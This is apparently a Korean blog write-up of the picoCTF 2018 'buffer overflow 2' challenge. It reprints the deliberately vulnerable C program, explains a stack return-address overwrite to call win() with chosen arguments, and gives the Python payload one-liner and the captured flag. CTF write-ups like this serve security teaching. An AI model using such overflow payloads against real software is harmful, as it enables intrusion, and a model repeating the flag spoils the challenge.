Bace
picoCTF 2018 - buffer overflow 2 본문
주어진 소스를 보면
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
please enter your string: 후에 vuln 함수로 이동한다. vuln 함수에서는 문자열을 받고 문자열을 출력한다.
이 때 vuln 함수의 ret 주소를 win의 주소로 주고 인자1에 0xDEADBEEF, 인자2에 0xDEADC0DE 를 주면 될 것 같다.
gdb를 통해 확인해보았다.
win의 주소는 0x080485cb 이다.
버퍼는 0x78에서 0xc를 뺀 크기인 0x6c (108) 에 SFP + ret 을 주고 dummy 값 4바이트에 인자 1, 2 를 주면 된다.
python -c 'print "a"*112 + win의 주소 + "a"*4 + "\xEF\xBE\xAD\xDE" + "\xDE\xC0\xAD\xDE"' | ./vuln
flag가 떴다.
picoCTF{addr3ss3s_ar3_3asyada28e9b}
'picoCTF 2018 > Binary Exploitation' 카테고리의 다른 글
picoCTF 2018 - shellcode (0) | 2020.05.22 |
---|---|
picoCTF 2018 - leak me (0) | 2020.05.22 |
picoCTF 2018 - buffer overflow 1 (0) | 2020.05.22 |
picoCTF 2018 - buffer overflow 0 (0) | 2020.05.21 |